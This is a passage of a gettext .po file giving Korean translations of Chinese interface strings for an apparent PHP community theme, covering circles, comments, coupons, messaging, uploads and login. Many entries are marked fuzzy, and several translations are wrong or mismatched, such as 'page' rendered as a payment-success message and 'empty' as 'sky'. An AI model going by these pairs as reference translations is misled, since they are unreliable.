#, fuzzy, php-format
msgid "%s名称必须大于2个字符，小于10个字符"
msgstr "서클 이름은 2 자 이상 10 자 미만이어야합니다."

#: Modules/Common/Circle.php:1426
#, fuzzy, php-format
msgid "请填写%s英文名称"
msgstr "원 연결을 입력하세요"

#: Modules/Common/Circle.php:1431
msgid "请使用纯英文"
msgstr "순수한 영어를 사용하십시오"

#: Modules/Common/Circle.php:1434
#, fuzzy, php-format
msgid "%s英文名称有重复，请更换英文名称"
msgstr "서클 이름이 중복되었습니다. 이름을 변경하세요."

#: Modules/Common/Circle.php:1437
#, fuzzy, php-format
msgid "%s名称有重复，请更换名称"
msgstr "서클 이름이 중복되었습니다. 이름을 변경하세요."

#: Modules/Common/Circle.php:1440
#, fuzzy, php-format
msgid "%s简介必须大于10个字符，小于10个字符"
msgstr "서클 프로필은 10 자 이상 10 자 미만이어야합니다."

#: Modules/Common/Circle.php:1503
msgid "创建失败"
msgstr "생성 실패"

#: Modules/Common/Circle.php:1515
#, php-format
msgid "%s天后过期"
msgstr "%s 일 후에 만료됩니다."

#: Modules/Common/Circle.php:1517
#, php-format
msgid "%s小时后过期"
msgstr "%s 시간 후에 만료됩니다."

#: Modules/Common/Circle.php:1519
#, php-format
msgid "%s分钟后过期"
msgstr "%s 분 후에 만료됩니다."

#: Modules/Common/Circle.php:1521
#, php-format
msgid "%s秒后过期"
msgstr "%s 초 후에 만료됩니다."

#: Modules/Common/Circle.php:1567
#, fuzzy, php-format
msgid "您的提问到期没有人回答，返还 %s ：${post_id}"
msgstr "제출 한 질문에 아무도 답변하지 않았습니다. 질문 보상이 반환됩니다.› %s"

#: Modules/Common/Circle.php:1568
msgid "提问返还"
msgstr "질문 반환"

#: Modules/Common/Circle.php:1637 Modules/Settings/Circle.php:60
msgid "未知用户"
msgstr "알 수없는 사용자"

#: Modules/Common/Circle.php:1770
msgid "您无权访问此页"
msgstr "이 페이지를 방문 할 권한이 없습니다."

#: Modules/Common/Circle.php:2127
#, fuzzy, php-format
msgid "不存在此%s"
msgstr "이 서클은 존재하지 않습니다."

#: Modules/Common/Circle.php:2136
msgid "话题不存在"
msgstr "주제가 없습니다."

#: Modules/Common/Circle.php:2260
msgid "每页显示数量过多"
msgstr "페이지 당 너무 많은 디스플레이"

#: Modules/Common/Circle.php:2354
#, php-format
msgid "请设置%s标签"
msgstr "%s 태그를 설정하세요."

#: Modules/Common/Circle.php:2375
#, php-format
msgid "没有%s类别"
msgstr "%s 서클 없음"

#: Modules/Common/Circle.php:2479 Modules/Common/Circle.php:2510
#: Modules/Common/Circle.php:2640 Modules/Common/Circle.php:2751
#: Modules/Common/Circle.php:2773
msgid "您没有权限这么做"
msgstr "이 작업을 수행 할 권한이 없습니다."

#: Modules/Common/Circle.php:2544
msgid "没有权限"
msgstr "당신은 이 혜택을 수령하고 사용할 권한이 없습니다."

#: Modules/Common/Circle.php:2558
#, fuzzy, php-format
msgid "已过期，无法删除，请联系%s或管理员"
msgstr "만료되었습니다. 삭제할 수 없습니다. 관리자에게 문의하십시오."

#: Modules/Common/Circle.php:2603
msgid "无权删除答案"
msgstr "답변을 삭제할 권한이 없습니다."

#: Modules/Common/Circle.php:2617
#, php-format
msgid "请指定%s的ID"
msgstr "%s의 ID를 지정하십시오."

#: Modules/Common/Circle.php:2800
msgid "您已投过票了"
msgstr "당신은 이미 투표하셨습니다"

#: Modules/Common/Circle.php:2805
msgid "当前话题不是投票"
msgstr "현재 주제는 투표하지 않습니다."

#: Modules/Common/Circle.php:2810 Modules/Common/Orders.php:374
msgid "数据不完整"
msgstr "불완전한 데이터"

#: Modules/Common/Circle.php:2853
msgid "您已猜过一次了"
msgstr "당신은 그것을 한 번 추측했습니다"

#: Modules/Common/Circle.php:2858
msgid "当前话题不是<你猜>"
msgstr "현재 주제는 <당신 추측>이 아닙니다"

#: Modules/Common/Circle.php:2909
msgid "图片数据错误"
msgstr "사진 데이터 오류"

#: Modules/Common/Circle.php:2919
msgid "回答不能为空"
msgstr "답은 비워 둘 수 없습니다."

#: Modules/Common/Circle.php:2929
msgid "该话题不是问答"
msgstr "이 주제는 질문과 답변이 아닙니다."

#: Modules/Common/Circle.php:2937
msgid "您无权回答这个问题"
msgstr "이 질문에 답할 권한이 없습니다."

#: Modules/Common/Circle.php:2958
msgid "您不能回答自己的问题"
msgstr "자신의 질문에 답할 수 없습니다"

#: Modules/Common/Circle.php:2967
msgid "您无权编辑这个问题"
msgstr "이 질문에 답할 권한이 없습니다."

#: Modules/Common/Circle.php:2973
msgid "已过期，无法编辑"
msgstr "질문이 만료되어 채택 할 수 없습니다."

#: Modules/Common/Circle.php:3009
msgid "提交错误"
msgstr "제출 오류"

#: Modules/Common/Circle.php:3241
msgid "问题已过期，无法采纳"
msgstr "질문이 만료되어 채택 할 수 없습니다."

#: Modules/Common/Circle.php:3342
msgid "缺少ID"
msgstr "ID 누락"

#: Modules/Common/Comment.php:31
#, fuzzy
msgid "小黑屋禁闭中，禁止发言"
msgstr "작은 검은 집은 감금되어 운영 할 수 없습니다."

#: Modules/Common/Comment.php:43 Modules/Common/Post.php:256
#: Modules/Common/RestApi.php:2285 Modules/Common/RestApi.php:2333
#: Modules/Common/Stream.php:216 Modules/Settings/Template.php:439
#: Modules/Settings/Template.php:584 Modules/Templates/Footer.php:686
#: Modules/Templates/Header.php:819 Modules/Templates/Widgets/Author.php:211
#: Modules/Templates/Widgets/Post.php:64 Modules/Templates/Widgets/User.php:199
#: Search/user.php:67 author.php:147 functions.php:1691 functions.php:1730
#: functions.php:2044 functions.php:2065
msgid "文章"
msgstr "기사"

#: Modules/Common/Comment.php:46 Modules/Settings/OrdersListTable.php:308
#: Modules/Settings/Template.php:586 functions.php:829 functions.php:1732
msgid "商品"
msgstr "상품"

#: Modules/Common/Comment.php:49 functions.php:1731
msgid "页面"
msgstr ""
"주문 결제에 성공했습니다. 이 페이지를 수동으로 닫고 상품 페이지로 돌아가 결"
"제 결과를 확인하십시오."

#: Modules/Common/Comment.php:52 Modules/Common/Shortcode.php:211
msgid "表单"
msgstr "메뉴"

#: Modules/Common/Comment.php:55 Modules/Templates/Modules/Circle.php:80
#: Modules/Templates/Modules/Circle.php:164 TempParts/circle/circle-form.php:36
#: TempParts/circle/circle-form.php:72
msgid "话题"
msgstr "토픽"

#: Modules/Common/Comment.php:134
#, fuzzy
msgid "您发布了${count}条评论：${post_id}"
msgstr "${count}개의 댓글을 게시했습니다: ${post_id}"

#: Modules/Common/Comment.php:136 Modules/Common/Shortcode.php:896
#: Modules/Templates/Footer.php:690 Modules/Templates/Header.php:823
#: Modules/Templates/Single.php:559 Modules/Templates/Widgets/Author.php:215
#: Modules/Templates/Widgets/Download.php:196
#: Modules/Templates/Widgets/User.php:204 Search/user.php:71
#: TempParts/circle/circle-form.php:468 author.php:149 functions.php:2377
msgid "评论"
msgstr "댓글"

#: Modules/Common/Comment.php:148
#, fuzzy, php-format
msgid "${from}评论了您的%s：${post_id}"
msgstr "${from}이(가) %s에 댓글을 남김: ${post_id}"

#: Modules/Common/Comment.php:150
#, fuzzy
msgid "新的留言"
msgstr "새로운 메시지"

#: Modules/Common/Comment.php:163
#, fuzzy, php-format
msgid "有${count}人评论了您的%s：${post_id}"
msgstr "${count}명이 귀하의 %s에 댓글을 달았습니다: ${post_id}"

#: Modules/Common/Comment.php:165
#, fuzzy, php-format
msgid "%s被评论"
msgstr "%s이(가) 댓글을 남겼습니다."

#: Modules/Common/Comment.php:178
#, fuzzy, php-format
msgid "${from}在%s中回复了您：${post_id}"
msgstr "${from}이(가) %s에 답장했습니다: ${post_id}"

#: Modules/Common/Comment.php:180
#, fuzzy
msgid "收到回复"
msgstr "답장을 받았다"

#: Modules/Common/Comment.php:229
msgid "Guest"
msgstr "손님"

#: Modules/Common/Comment.php:290 Modules/Common/Comment.php:323
#: Modules/Common/Message.php:664 Modules/Settings/Infomation.php:142
#: Modules/Settings/Infomation.php:163 Modules/Settings/Infomation.php:263
#: Modules/Settings/Infomation.php:450
#: TempParts/circle/circle-topic-footer.php:24
#: TempParts/circle/circle-topic-list.php:171
#: TempParts/infomation/archive.php:99
msgid "置顶"
msgstr "고정"

#: Modules/Common/Comment.php:319 Modules/Templates/Single.php:676
#: Modules/Templates/Single.php:691 Modules/Templates/Single.php:707
#: Modules/Templates/Single.php:894 TempParts/circle/circle-topic-footer.php:29
#: TempParts/single-answer.php:60 TempParts/single-document.php:27
#: TempParts/single-infomation.php:143 TempParts/single-links.php:40
#: single-ask.php:129 single-ask.php:239
msgid "举报"
msgstr "신고"

#: Modules/Common/Comment.php:323 TempParts/circle/circle-topic-footer.php:24
msgid "取消置顶"
msgstr "고정 해제"

#: Modules/Common/Comment.php:328 Modules/Settings/RequestsTable.php:95
#: functions.php:2046
msgid "回复"
msgstr "답장"

#: Modules/Common/Comment.php:333 Modules/Templates/Modules/Posts.php:144
msgid "审核中..."
msgstr "검토 중..."

#: Modules/Common/Comment.php:363 Modules/Common/User.php:186
msgid "空"
msgstr "하늘"

#: Modules/Common/Comment.php:443
msgid "没有更多评论了"
msgstr "더 이상 댓글이 없습니다."

#: Modules/Common/Comment.php:513
#, fuzzy
msgid "不能点评自己的评论"
msgstr "자신의 댓글에 댓글을 달 수 없음"

#: Modules/Common/Comment.php:529 Modules/Common/Comment.php:602
#, fuzzy
msgid "${from}不太认同您的评论：${post_id}"
msgstr "${from}이(가) 귀하의 의견에 동의하지 않음: ${post_id}"

#: Modules/Common/Comment.php:531 Modules/Common/Comment.php:604
#, fuzzy
msgid "不认同评论"
msgstr "의견에 동의하지 않음"

#: Modules/Common/Comment.php:542 Modules/Common/Comment.php:616
#, fuzzy
msgid "有${count}人不太认同您的评论：${post_id}"
msgstr "${count}명이 귀하의 댓글에 동의하지 않습니다: ${post_id}"

#: Modules/Common/Comment.php:544 Modules/Common/Comment.php:618
#, fuzzy
msgid "评论被踩"
msgstr "댓글이 반대"

#: Modules/Common/Comment.php:559
#, fuzzy
msgid "${from}给您的评论点了赞：${post_id}"
msgstr "${from}님이 ${post_id}님의 댓글을 좋아했습니다."

#: Modules/Common/Comment.php:561 Modules/Common/Comment.php:576
#, fuzzy
msgid "认同您的评论"
msgstr "귀하의 의견에 동의"

#: Modules/Common/Comment.php:574
#, fuzzy
msgid "有${count}人给您的评论点了赞：${post_id}"
msgstr "${count}님이 ${post_id}님의 댓글을 좋아했습니다."

#: Modules/Common/Comment.php:741
msgid "您无权进行此操作"
msgstr "이 작업을 수행할 권한이 없습니다."

#: Modules/Common/Comment.php:772
msgid "请先登录之后再参与讨论"
msgstr "토론에 참여하기 전에 로그인하십시오"

#: Modules/Common/Comment.php:874 Modules/Common/Infomation.php:816
#: Modules/Common/Pay.php:670 Modules/Common/Post.php:925
#: Modules/Common/User.php:393 Modules/Common/User.php:418
#: Modules/Common/User.php:1323
msgid "参数不全"
msgstr "불완전한 매개 변수"

#: Modules/Common/Comment.php:921
msgid "评论正在审核中"
msgstr "댓글이 검토 중입니다."

#: Modules/Common/Comment.php:923
msgid "评论不存在"
msgstr "댓글이 없습니다."

#: Modules/Common/Comment.php:1014
msgid "错误的参数"
msgstr "잘못된 매개 변수"

#: Modules/Common/Comment.php:1236
msgid "无权删除"
msgstr "삭제할 권한이 없습니다."

#: Modules/Common/Comment.php:1287 Modules/Common/Comment.php:1332
#: Modules/Common/User.php:273 Modules/Settings/Ask.php:54
#: Modules/Settings/Infomation.php:177 Modules/Settings/Links.php:51
msgid "未名"
msgstr "이름 없음"

#: Modules/Common/Coupon.php:26
msgid "查询错误"
msgstr "조회 오류"

#: Modules/Common/Coupon.php:145
msgid "优惠劵未领取或已使用"
msgstr "쿠폰 미 수령 또는 이미 사용"

#: Modules/Common/Coupon.php:148
msgid "已经过了领取时间，无法领取"
msgstr "수령기간이 지나 수령이 불가능합니다."

#: Modules/Common/Coupon.php:152
msgid "您没有权限领取和使用这个优惠劵"
msgstr "당신은 이 혜택을 수령하고 사용할 권한이 없습니다."

#: Modules/Common/Coupon.php:158
msgid "您已经领取过这个优惠劵"
msgstr "당신은 이미 이 할인 쿠폰을 수령 하였습니다."

#: Modules/Common/Directmessage.php:14 Modules/Common/Invitation.php:88
#: Modules/Common/User.php:1559 Modules/Common/User.php:1614
#: Modules/Common/User.php:1642 Modules/Common/User.php:1671
#: Modules/Common/User.php:1734 Modules/Common/User.php:1765
#: Modules/Common/User.php:1792 Modules/Common/User.php:1827
#: Modules/Common/User.php:1866 Modules/Common/User.php:1916
#: Modules/Common/User.php:1944 Modules/Common/User.php:2000
#: Modules/Common/User.php:2055 Modules/Common/User.php:2089
msgid "您没有权限进行此项操作"
msgstr "이 작업을 수행 할 권한이 없습니다."

#: Modules/Common/Directmessage.php:90
msgid "收件人不可为空"
msgstr "수취인은 비워 둘 수 없습니다."

#: Modules/Common/Directmessage.php:98
msgid "您没有发送私信的权限"
msgstr "당신은 사신을 보낼 권한이 없습니다."

#: Modules/Common/Directmessage.php:117
msgid "不能给自己发私信"
msgstr "자신에게 메시지을 보낼 수 없습니다."

#: Modules/Common/Directmessage.php:125
msgid "最多只能发送300个字"
msgstr "최대 300 단어까지만 보낼 수 있습니다."

#: Modules/Common/Directmessage.php:128
msgid "消息不可为空"
msgstr "메시지는 비워 둘 수 없습니다."

#: Modules/Common/Distribution.php:326
#, fuzzy
#| msgid "购买隐藏内容"
msgid "文章隐藏内容"
msgstr "숨겨진 콘텐츠를 구매했습니다.›% s"

#: Modules/Common/Distribution.php:330
#, fuzzy
#| msgid "没有下载资源"
msgid "下载资源"
msgstr "매일 모든 자원을 다운로드 할수 있습니다."

#: Modules/Common/Distribution.php:347
#, fuzzy, php-format
msgid "${from}购买了您推广的%s：${post_id}"
msgstr "${from}님이 프로모션 %s을(를) 구매했습니다: ${post_id}"

#: Modules/Common/Distribution.php:349 Modules/Common/Distribution.php:412
#, fuzzy
msgid "推广成功"
msgstr "승진 성공"

#: Modules/Common/Distribution.php:361
#, fuzzy, php-format
msgid "有${count}人购买了您推广的%s：${post_id}"
msgstr "${count}명이 내가 판촉한 %s개를 구매했습니다: ${post_id}"

#: Modules/Common/Distribution.php:363
#, fuzzy
msgid "推广消费"
msgstr "소비 촉진"

#: Modules/Common/Distribution.php:394 Modules/Settings/Users.php:156
msgid "会员"
msgstr "회원가"

#: Modules/Common/Distribution.php:398 Modules/Settings/OrdersListTable.php:60
#: Modules/Settings/OrdersListTable.php:81
#: Modules/Settings/OrdersListTable.php:161 Modules/Templates/Header.php:838
#: Pages/gold.php:39 Pages/po-ask.php:38 TempParts/circle/circle-form.php:305
#: TempParts/circle/circle-form.php:307 TempParts/circle/circle-form.php:476
msgid "积分"
msgstr "포인트"

#: Modules/Common/Distribution.php:402 Modules/Common/Message.php:1100
#: Modules/Settings/Config.php:180 Modules/Settings/Template.php:135
#: Modules/Templates/Footer.php:713
msgid "认证"
msgstr "인증"

#: Modules/Common/Distribution.php:410 Modules/Common/Distribution.php:423
#, php-format
msgid "您的合作伙伴${from}购买了%s"
msgstr "파트너 ${from}이 %s을 구매했습니다."

#: Modules/Common/Distribution.php:425
#, fuzzy, php-format
msgid "%s推广收益"
msgstr "%s프로모션 수입"

#: Modules/Common/Distribution.php:425
#, fuzzy
#| msgid "一级伙伴"
msgid "一级"
msgstr "높은 수준의 승진"

#: Modules/Common/Distribution.php:425
#, fuzzy
#| msgid "人"
msgid "二级"
msgstr "중고등 부 승진"

#: Modules/Common/Distribution.php:425
#, fuzzy
msgid "三级"
msgstr "상위 3 개 승진"

#: Modules/Common/Document.php:33 Modules/Common/Infomation.php:972
#: Modules/Common/Links.php:436 Modules/Common/Post.php:2303
#: Modules/Settings/Template.php:587 Modules/Templates/Footer.php:164
#: Modules/Templates/Footer.php:482 Modules/Templates/Header.php:202
#: Modules/Templates/VueTemplates.php:442 TempParts/Ask/category.php:44
#: archive-ask.php:38 archive-ask.php:39 functions.php:3629
msgid "搜索"
msgstr "검색"

#: Modules/Common/Document.php:35 functions.php:1891
msgid "工单中心"
msgstr "작업 주문 센터"

#: Modules/Common/Document.php:43 Modules/Common/Infomation.php:982
#: Modules/Common/Links.php:446 Modules/Common/Post.php:2311
#: Modules/Common/Shop.php:594 Modules/Common/Shop.php:607
#: Modules/Common/Shop.php:621 Modules/Settings/Template.php:458
msgid "首页"
msgstr "홈"

#: Modules/Common/Document.php:67
msgid "请填写工单内容"
msgstr "내용을 작성해 주세요."

#: Modules/Common/Document.php:74 Modules/Common/Infomation.php:410
msgid "请填写标题"
msgstr "제목을 입력 하세요."

#: Modules/Common/Document.php:77
msgid "请填写正确的邮箱地址"
msgstr "정확한 이메일 주소를 입력하세요."

#: Modules/Common/Document.php:100
msgid "您有未处理的工单，请处理完毕后再提交！"
msgstr "처리되지 않은 작업 주문이 있습니다. 처리 후 제출하십시오!"

#: Modules/Common/Document.php:124
msgid "你收到一个来自${from}的工单"
msgstr "0]에서 작업 주문을 받았습니다."

#: Modules/Common/Document.php:126 Modules/Settings/Document.php:349
msgid "收到工单"
msgstr "작업 지시서 수신"

#: Modules/Common/FileUpload.php:543
msgid "缺少参数"
msgstr "매개변수 누락"

#: Modules/Common/FileUpload.php:546
msgid "缺少文章ID"
msgstr "기사 ID가 없습니다."

#: Modules/Common/FileUpload.php:550
msgid "请设置一个type"
msgstr "유형을 설정하십시오"

#: Modules/Common/FileUpload.php:553
msgid "不支持这个type"
msgstr "이 유형을 지원하지 않습니다"

#: Modules/Common/FileUpload.php:557
#, php-format
msgid "文件损坏，请重新选择（%s）"
msgstr "(%s)파일이 손상되었습니다. 다시 선택하세요."

#: Modules/Common/FileUpload.php:577
#, php-format
msgid "%s必须小于%sM，请重新选择"
msgstr "%s은  %sM보다 작아야합니다. 다시 선택하십시오."

#: Modules/Common/FileUpload.php:584
#, php-format
msgid "您无权上传%s"
msgstr "%s을 (를) 업로드 할 권한이 없습니다."

#: Modules/Common/FileUpload.php:637
#, php-format
msgid "上传失败(%s)："
msgstr "(%s)업로드 실패"

#: Modules/Common/Gold.php:259 Modules/Common/Message.php:333
#: Modules/Common/Message.php:781 Modules/Common/Post.php:1035
#: Modules/Common/User.php:505 Modules/Common/User.php:508
#: Modules/Settings/Main.php:375 Modules/Settings/OrdersListTable.php:114
#: functions.php:2276
msgid "游客"
msgstr "여행객"

#: Modules/Common/Infomation.php:243 Modules/Settings/Infomation.php:147
#: Modules/Settings/Infomation.php:322 Modules/Settings/Infomation.php:453
#: Pages/po-infomation.php:49 TempParts/single-infomation.php:88
msgid "联系方式"
msgstr "연락처"

#: Modules/Common/Infomation.php:244
msgid "已经完成，请勿再联系"
msgstr "완료, 저에게 연락하지 마십시오"

#: Modules/Common/Infomation.php:393 Modules/Common/Post.php:1837
#: Modules/Settings/Normal.php:1841
msgid "禁止投稿"
msgstr "기부 금지"

#: Modules/Common/Infomation.php:398 Modules/Common/Post.php:1843
msgid "您没有权限发布文章"
msgstr "글쓰기 권한이 없습니다."

#: Modules/Common/Infomation.php:411
msgid "请填写内容"
msgstr "내용을 채워주세요"

#: Modules/Common/Infomation.php:424
msgid "过期时间请确保为正整数"
msgstr "만료 시간이 양의 정수인지 확인하십시오"

#: Modules/Common/Infomation.php:442
#, fuzzy
msgid "该置顶权限已到期，无法继续置顶"
msgstr "고정 권한이 만료되어 고정을 계속할 수 없습니다."

#: Modules/Common/Infomation.php:453
msgid "您选择了置顶，但未支付，请先支付"
msgstr "상단을 고수하기로 선택했지만 지불하지 않았습니다. 먼저 지불하십시오"

#: Modules/Common/Infomation.php:486 Modules/Common/Newsflashes.php:56
#, fuzzy, php-format
#| msgid "您还有未审核的快讯，请审核完后再提交"
msgid "您还有未审核的%s，请审核完后再提交"
msgstr "아직 검토되지 않은 속보가 있습니다. 검토된 후 제출하십시오."

#: Modules/Common/Infomation.php:573
#, fuzzy
msgid "请输入正确的价格参数"
msgstr "올바른 가격 매개변수를 입력하세요."

#: Modules/Common/Infomation.php:761 Modules/Common/Infomation.php:800
msgid "长期"
msgstr "만료 됨"

#: Modules/Common/Infomation.php:770 Modules/Settings/VerifyListTable.php:34
#: TempParts/infomation/archive.php:92 TempParts/single-infomation.php:111
msgid "已完成"
msgstr "완성하였습니다"

#: Modules/Common/Infomation.php:784 TempParts/Ask/archive.php:100
msgid "已过期"
msgstr "만료 됨"

#: Modules/Common/Infomation.php:794
#, php-format
msgid "%s后"
msgstr "%s 이름"

#: Modules/Common/Infomation.php:837
msgid "后"
msgstr "댓글 후 다운로드 하십시오."

#: Modules/Common/Infomation.php:841 Modules/Settings/Users.php:183
msgid "永不过期"
msgstr "만료되지 않음"

#: Modules/Common/Infomation.php:974 Modules/Common/Links.php:438
msgid "未分类"
msgstr "분류"

#: Modules/Common/Invitation.php:14 Modules/Common/OAuth.php:440
#: Modules/Templates/VueTemplates.php:166
#: Modules/Templates/VueTemplates.php:857 Pages/open.php:16
msgid "请输入邀请码"
msgstr "초대 코드를 입력하세요."

#: Modules/Common/Invitation.php:33
msgid "邀请码错误或不存在！"
msgstr "초대 코드가 잘못되었거나 존재하지 않습니다!"

#: Modules/Common/Links.php:197 Modules/Common/Shortcode.php:1465
#: Search/links.php:53
msgid "这个网站没有任何描述信息"
msgstr "이 사이트에는 설명 정보가 없습니다."

#: Modules/Common/Links.php:254
msgid "请登录后操作"
msgstr "작동하려면 로그인하십시오"

#: Modules/Common/Links.php:258
#, fuzzy
#| msgid "申请入驻"
msgid "不允许申请入驻"
msgstr "입학 신청"

#: Modules/Common/Links.php:279
#, php-format
msgid "介绍内容应该大于%s个字符"
msgstr "소개는 %s자보다 길어야 합니다."

#: Modules/Common/Links.php:284
msgid "请填写完整的参数"
msgstr "완전한 주소 정보를 입력해 주세요."

#: Modules/Common/Links.php:301
msgid "不允许入驻此分类"
msgstr "이 카테고리에서 허용되지 않음"

#: Modules/Common/Links.php:308
msgid "您已经提交过，审核通过后方可再次提交"
msgstr "이미 제출했으며 승인 후 다시 제출할 수 있습니다."

#: Modules/Common/Links.php:311
msgid "您提交的不是网址"
msgstr "당신은 URL을 제출하지 않습니다"

#: Modules/Common/Links.php:313
msgid "图标格式错误"
msgstr "요청 형식 오류"

#: Modules/Common/Links.php:363
msgid "请登陆后操作"
msgstr "작동하려면 로그인하십시오"

#: Modules/Common/Login.php:42
#, fuzzy, php-format
msgid "欢迎来到%s！"
msgstr "%s에 오신 것을 환영합니다!"

#: Modules/Common/Login.php:44
msgid "注册奖励"
msgstr "가입 보상"

#: Modules/Common/Login.php:54
#, fuzzy
#| msgid "新注册用户消息提示"
msgid "新用户消息"
msgstr "새로 등록 된 사용자 메시지 프롬프트"

#: Modules/Common/Login.php:151
msgid "登录已过期，请重新登录"
msgstr "로그인이 만료되었습니다. 다시 로그인 하세요."

#: Modules/Common/Login.php:207
#, fuzzy
msgid "管理员无法注销"
msgstr "관리자는 로그아웃할 수 없습니다"

#: Modules/Common/Login.php:210 Modules/Common/Login.php:1064
msgid "请输入密码"
msgstr "비밀번호를 입력해 주세요."

#: Modules/Common/Login.php:221
msgid "密码错误"
msgstr "잘못된 비밀번호"

#: Modules/Common/Login.php:253 Modules/Common/Login.php:264
#: Modules/Common/Login.php:272
msgid "登录失败，请稍后再试"
msgstr "로그인에 실패했습니다. 나중에 다시 시도하세요."

#: Modules/Common/Login.php:338
msgid "您不需要此操作"
msgstr "이 작업은 필요하지 않습니다."

#: Modules/Common/Login.php:369
msgid "请不要填写邮箱"
msgstr "이메일을 작성하지 마십시오"

#: Modules/Common/Login.php:395
msgid "：请查收您的验证码"
msgstr ": 인증번호를 확인 하세요."

#: Modules/Common/Login.php:405
msgid "您的邮箱为："
msgstr "귀하의 이메일은 :"

#: Modules/Common/Login.php:405
msgid "，验证码为："
msgstr "，인증 코드는 다음과 같습니다."

#: Modules/Common/Login.php:408
msgid "验证码的有效期为5分钟，请在有效期内输入！"
msgstr "인증번호는 5분내에 입력하세요!"

#: Modules/Common/Login.php:411 Modules/Common/Shop.php:925
msgid "本邮件为系统邮件不能回复，请勿回复。"
msgstr "본 이메일은 시스템 이메일이므로 답장을 보낼수 없습니다."

#: Modules/Common/Login.php:419
msgid "验证码发送失败，请联系管理员"
msgstr "인증 코드를 보내지 못했습니다. 관리자에게 문의 하십시오."

#: Modules/Common/Login.php:454 Modules/Common/Login.php:549
#: Modules/Common/Login.php:607 Modules/Common/Login.php:861
msgid "请不要重复提交"
msgstr "중복 제출하지 마세요."

#: Modules/Common/Login.php:477 Modules/Common/Login.php:1146
msgid "不存在此邮箱或手机号码，请重新输入"
msgstr "이 이메일 또는 휴대폰 번호가 존재하지 않습니다. 다시 입력하십시오."

#: Modules/Common/Login.php:504
msgid "请点击验证"
msgstr "확인하려면 클릭하세요."

#: Modules/Common/Login.php:519
msgid "验证码错误代号："
msgstr "인증번호 오류 :"

#: Modules/Common/Login.php:543 Modules/Common/Login.php:850
#: Modules/Common/Login.php:852 Modules/Templates/VueTemplates.php:293
msgid "请输入验证码"
msgstr "인증번호를 입력하세요."

#: Modules/Common/Login.php:557 Modules/Common/Login.php:567
#: Modules/Common/Login.php:576 Modules/Common/Login.php:881
#: Modules/Common/Login.php:893 Modules/Common/Login.php:1093
#: Modules/Common/Login.php:1112
msgid "验证码错误"
msgstr "인증번호 오류"

#: Modules/Common/Login.php:574 Modules/Common/Login.php:889
#: Modules/Common/Login.php:1110
msgid "验证码过期失效"
msgstr "인증번호가 만료됨"

#: Modules/Common/Login.php:579 Modules/Common/Login.php:897
#: Modules/Common/Login.php:1115
msgid "异常错误"
msgstr "이상 오류"

#: Modules/Common/Login.php:600 Modules/Common/Login.php:1134
#: Modules/Common/RestApi.php:1609 Modules/Common/RestApi.php:2035
#: Modules/Common/RestApi.php:2487 Modules/Common/RestApi.php:2501
#: Modules/Common/RestApi.php:2515 Modules/Common/RestApi.php:2529
#: Modules/Common/RestApi.php:2543 Modules/Common/RestApi.php:2557
#: Modules/Common/RestApi.php:2583 Modules/Common/RestApi.php:2610
#: Modules/Common/RestApi.php:2624 Modules/Common/RestApi.php:2638
#: Modules/Common/RestApi.php:2739 Modules/Common/RestApi.php:2862
#: Modules/Common/RestApi.php:2888 Modules/Common/RestApi.php:2902
#: Modules/Common/RestApi.php:2930 Modules/Common/RestApi.php:3001
#: Modules/Common/RestApi.php:3051 Modules/Common/RestApi.php:3112
#: Modules/Common/RestApi.php:3162 Modules/Common/RestApi.php:3201
#: Modules/Common/RestApi.php:3227 Modules/Common/RestApi.php:3302
#: Modules/Common/RestApi.php:3328 Modules/Common/RestApi.php:3355
#: Modules/Common/RestApi.php:3464 Modules/Common/RestApi.php:3478
#: Modules/Common/RestApi.php:3554 Modules/Common/RestApi.php:3568
#: Modules/Common/RestApi.php:3672 Modules/Common/RestApi.php:3686
#: Modules/Common/RestApi.php:3712 Modules/Common/RestApi.php:3725
#: Modules/Common/RestApi.php:3764 Modules/Common/RestApi.php:3814
#: Modules/Common/RestApi.php:3827 Modules/Common/RestApi.php:3841
#: Modules/Common/RestApi.php:3867 Modules/Common/RestApi.php:3881
#: Modules/Common/RestApi.php:3942
msgid "操作频次过高"
msgstr "작동 빈도"

#: Modules/Common/Login.php:612
msgid "注册已关闭"
msgstr "가입이 비활성화 되었습니다."

#: Modules/Common/Login.php:621
msgid "请使用邀请码注册"
msgstr "초대장을 이용해 가입해 주세요."

#: Modules/Common/Login.php:625 Modules/Common/OAuth.php:450
msgid "不允许使用邀请码"
msgstr "초대장 코드를 사용할 수 없습니다."

#: Modules/Common/Login.php:651 Modules/Common/Login.php:1074
#: Modules/Common/User.php:2064
msgid "密码必须大于6位"
msgstr "비밀번호는 6자리 이상이어야 합니다."

#: Modules/Common/Login.php:742
msgid "注册成功，登录失败，请重新登录"
msgstr "가입 성공, 로그인 실패, 다시 로그인"

#: Modules/Common/Login.php:764 Modules/Common/OAuth.php:541
#, fuzzy, php-format
msgid "使用邀请码注册奖励，邀请码为：%s"
msgstr "초대 코드를 사용하여 보상을 등록하세요. 초대 코드는 %s입니다."

#: Modules/Common/Login.php:766 Modules/Common/OAuth.php:543
#, fuzzy
#| msgid "注册奖励"
msgid "邀请注册奖励"
msgstr "가입 보상"

#: Modules/Common/Login.php:790
msgid "登陆失败"
msgstr "로그인 실패"

#: Modules/Common/Login.php:821 Modules/Common/Login.php:830
#, php-format
msgid "不能使用%s的邮箱在本站注册"
msgstr "이 사이트에 등록하려면 %s 이메일 주소를 사용할 수 없습니다."

#: Modules/Common/Login.php:869 Modules/Common/Login.php:1089
#, fuzzy
msgid "验证失败，请重新提交"
msgstr "인증에 실패했습니다. 다시 제출해 주세요."

#: Modules/Common/Login.php:903
msgid "请输入邮箱或手机号码"
msgstr "이메일 또는 휴대폰 번호를 입력하세요."

#: Modules/Common/Login.php:910
msgid "您输入的不是邮箱"
msgstr "이메일 주소가 잘못 되었습니다."

#: Modules/Common/Login.php:916
msgid "您输入的不是手机号码"
msgstr "휴대폰 번호가 잘못 되었습니다."

#: Modules/Common/Login.php:921
msgid "您输入的不是邮箱或手机号码"
msgstr "이메일 또는 휴대폰 번호가 아닙니다."

#: Modules/Common/Login.php:927
msgid "该邮箱已被注册"
msgstr "이 이메일은 이미 등록 되었습니다."

#: Modules/Common/Login.php:937
msgid "该手机号码已被注册"
msgstr "이 휴대폰 번호는 이미 등록 되었습니다."

#: Modules/Common/Login.php:941
msgid "该用户名已被注册"
msgstr "이 사용자 이름은 이미 등록 되었습니다."

#: Modules/Common/Login.php:946
msgid "用户名只能使用字母和（或）数字"
msgstr "사용자 이름은 알파벳과 (또는) 숫자만 사용할 수 있습니다."

#: Modules/Common/Login.php:950
#, fuzzy
#| msgid "密码必须大于6位"
msgid "登录名必须大于6位"
msgstr "비밀번호는 6자리 이상이어야 합니다."

